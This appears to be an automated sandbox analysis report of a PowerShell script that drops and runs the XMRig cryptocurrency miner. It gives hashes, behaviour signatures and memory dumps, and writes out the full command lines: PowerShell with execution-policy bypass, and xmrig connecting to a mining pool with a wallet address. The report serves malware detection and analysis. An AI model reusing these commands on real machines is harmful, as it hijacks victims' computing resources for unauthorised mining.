Resubmissions

15/05/2024, 03:28

240515-d1awaafa7v 10

14/05/2024, 20:25

240514-y7j3rafd53 10

14/05/2024, 20:25

240514-y7dkzafd42 10

14/05/2024, 20:25

240514-y69l1sfd34 10

14/05/2024, 20:23

240514-y6htasfc77 10

14/05/2024, 20:23

240514-y6bd8aeg2z 10

14/05/2024, 20:23

240514-y57q2aef9z 10

Analysis

  • max time kernel
    305s
  • max time network
    312s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/05/2024, 20:23

General

  • Target

    file01 - copia (7).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 27 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (7).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2428
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1836
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1316 --field-trial-handle=2280,i,11703952675008463361,17436195144517971517,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:4332

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_222rckou.1ru.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

      Filesize

      9.1MB

      MD5

      205ad9eb6acd6f58752899669b69fe74

      SHA1

      bedb78ac5034259b86c2cbc915de2e861e8d7604

      SHA256

      2025f4fe930440da147eecd24a368d3a2f3c1883c499186eb429e9d662c90fda

      SHA512

      28309f453ae87e8db8c1667d8d8eee5f5f7035372c027afbec48aa3c798c53ade7cfcec0c9575cad2d108e033395ebde4fda6fcfff72c99944119f8fa91d91c3

    • memory/1836-57-0x00000254FA950000-0x00000254FA970000-memory.dmp

      Filesize

      128KB

    • memory/1836-61-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-80-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-79-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-78-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-77-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-76-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-75-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-74-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-49-0x00000254F9130000-0x00000254F9150000-memory.dmp

      Filesize

      128KB

    • memory/1836-50-0x00000254FA930000-0x00000254FA950000-memory.dmp

      Filesize

      128KB

    • memory/1836-51-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-54-0x00000254FA970000-0x00000254FA990000-memory.dmp

      Filesize

      128KB

    • memory/1836-52-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-53-0x00000254FA950000-0x00000254FA970000-memory.dmp

      Filesize

      128KB

    • memory/1836-55-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-56-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-58-0x00000254FA970000-0x00000254FA990000-memory.dmp

      Filesize

      128KB

    • memory/1836-73-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-59-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-72-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-62-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-60-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-63-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-64-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-65-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-66-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-67-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-68-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-69-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-70-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/1836-71-0x00007FF60C240000-0x00007FF60CE73000-memory.dmp

      Filesize

      12.2MB

    • memory/2428-11-0x00007FFE6DE90000-0x00007FFE6E951000-memory.dmp

      Filesize

      10.8MB

    • memory/2428-0-0x00007FFE6DE93000-0x00007FFE6DE95000-memory.dmp

      Filesize

      8KB

    • memory/2428-10-0x0000021958EB0000-0x0000021958ED2000-memory.dmp

      Filesize

      136KB

    • memory/2428-17-0x000002195B230000-0x000002195B242000-memory.dmp

      Filesize

      72KB

    • memory/2428-18-0x000002195B220000-0x000002195B22A000-memory.dmp

      Filesize

      40KB

    • memory/2428-16-0x00007FFE6DE90000-0x00007FFE6E951000-memory.dmp

      Filesize

      10.8MB

    • memory/2428-15-0x00007FFE6DE90000-0x00007FFE6E951000-memory.dmp

      Filesize

      10.8MB

    • memory/2428-14-0x00007FFE6DE90000-0x00007FFE6E951000-memory.dmp

      Filesize

      10.8MB

    • memory/2428-13-0x00007FFE6DE93000-0x00007FFE6DE95000-memory.dmp

      Filesize

      8KB